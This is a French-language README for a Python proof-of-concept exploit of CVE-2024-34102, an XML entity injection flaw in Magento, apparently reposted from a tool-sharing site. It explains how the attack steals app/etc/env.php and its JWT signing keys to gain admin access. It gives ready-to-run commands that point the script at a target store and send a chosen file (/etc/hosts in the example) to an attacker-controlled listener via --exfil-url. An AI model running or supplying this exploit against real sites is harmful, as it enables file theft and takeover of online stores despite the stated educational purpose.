PoC pour CVE-2024-34102 🚀

Ce dépôt contient une preuve de concept (PoC) de l'exploit pour la vulnérabilité critique d'injection d'entités XML (CVE-2024-34102) dans Magento. Cette vulnérabilité permet l'exfiltration de fichiers sensibles, qui peut ensuite être exploitée pour obtenir un accès non autorisé aux fonctionnalités administratives de Magento. Cet exploit est conçu à des fins éducatives et doit être utilisé de manière responsable.

Aperçu 📖

Magento est l'une des solutions e-commerce les plus populaires utilisées dans le monde. En juin 2024, un problème critique d'injection d'entités XML sans authentification a été découvert, identifié sous le nom CVE-2024-34102. Cette vulnérabilité peut entraîner des conséquences graves, notamment l'exfiltration du fichier app/etc/env.php de Magento, qui contient les clés cryptographiques utilisées pour signer les JWT.

Fonctionnalités 🌟

• Exfiltrer des fichiers sensibles depuis une instance Magento vulnérable.
• Utilisation simple et directe.
• Démonstration éducative de l'injection d'entités XML.

Utilisation 🚀

Prérequis

• Python 3.x
• Bibliothèque requests (pip install requests)

Exécution de l'exploit

1. Clonez le dépôt :

   root@kitploit:~

   git clone https://github.com/yourusername/CVE-2024-34102-exploit.git
   cd CVE-2024-34102-exploit
   

2. Exécutez le script avec les arguments nécessaires :

   root@kitploit:~

   python cve_2024_34102_exploit.py --target-url http://example.com --target-file /etc/hosts --exfil-url your_ip:9999
   

Arguments de la ligne de commande

• --target-url : L'URL de l'instance Magento cible.
• --target-file : Le chemin du fichier sur le serveur cible à exfiltrer.
• --exfil-url : L'URL pour recevoir les données exfiltrées.

Exemple 🌐

python cve_2024_34102_exploit.py --target-url http://example.com --target-file /etc/hosts --exfil-url your_ip:9999